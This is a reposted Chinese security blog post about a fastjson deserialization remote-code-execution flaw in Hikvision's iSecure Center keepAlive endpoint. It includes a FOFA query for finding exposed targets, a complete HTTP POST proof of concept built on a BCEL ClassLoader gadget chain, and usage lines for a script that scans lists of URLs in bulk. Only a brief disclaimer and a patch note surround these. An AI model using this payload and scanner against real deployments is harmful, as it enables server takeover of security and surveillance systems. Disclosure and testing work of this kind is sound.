【1day】海康威视综合安防管理平台 fastjson反序列化漏洞【附poc】

admin 2024年6月11日14:12:15评论47 views字数 1309阅读4分21秒阅读模式

免责声明:本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。

fofa

app="HIKVISION-iSecure-Center"

一、漏洞简述

海康威视综合安防管理平台涵盖了视频监控、报警系统、门禁系统等众多功能,实现了全方位的安防管理。具体功能有: 视频监控管理、实时视频查看、历史录像调取、 远程监控、报警系统、门禁系统。其接口。其接口keepAlive存在fastjson反序列化漏洞,攻击者可通过该漏洞执行系统命令,控制服务器。

二、漏洞检测poc

bcel链已替换成输出helloworld,不会注入有害数据,可放心使用。

POST /bic/ssoService/v1/keepAlive HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36Content-Type: application/jsonContent-Length: 3331{"CTGT":{ "a": {"@type""java.lang.Class","val""org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type""java.lang.Class","val""com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type""org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type""com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName""bcel链在github中获取"}}}

【1day】海康威视综合安防管理平台  fastjson反序列化漏洞【附poc】

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞:

https://github.com/ATonysan/poc-exp/blob/main/HIKVISION_keepAlive_fastjsondeserialization.py

批量检测:

python HIKVISION_keepAlive_fastjsondeserialization.py -f url.txt

【1day】海康威视综合安防管理平台  fastjson反序列化漏洞【附poc】

单个url检测漏洞:

python HIKVISION_keepAlive_fastjsondeserialization.py -u url

【1day】海康威视综合安防管理平台  fastjson反序列化漏洞【附poc】

四、修复

官方已更新补丁,请升级至最新版本。

官网地址:https://www.hikvision.com/cn/

原文始发于微信公众号(苏诺木安全团队):【1day】海康威视综合安防管理平台 fastjson反序列化漏洞【附poc】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日14:12:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【1day】海康威视综合安防管理平台 fastjson反序列化漏洞【附poc】https://cn-sec.com/archives/2837037.html

发表评论

匿名网友 填写信息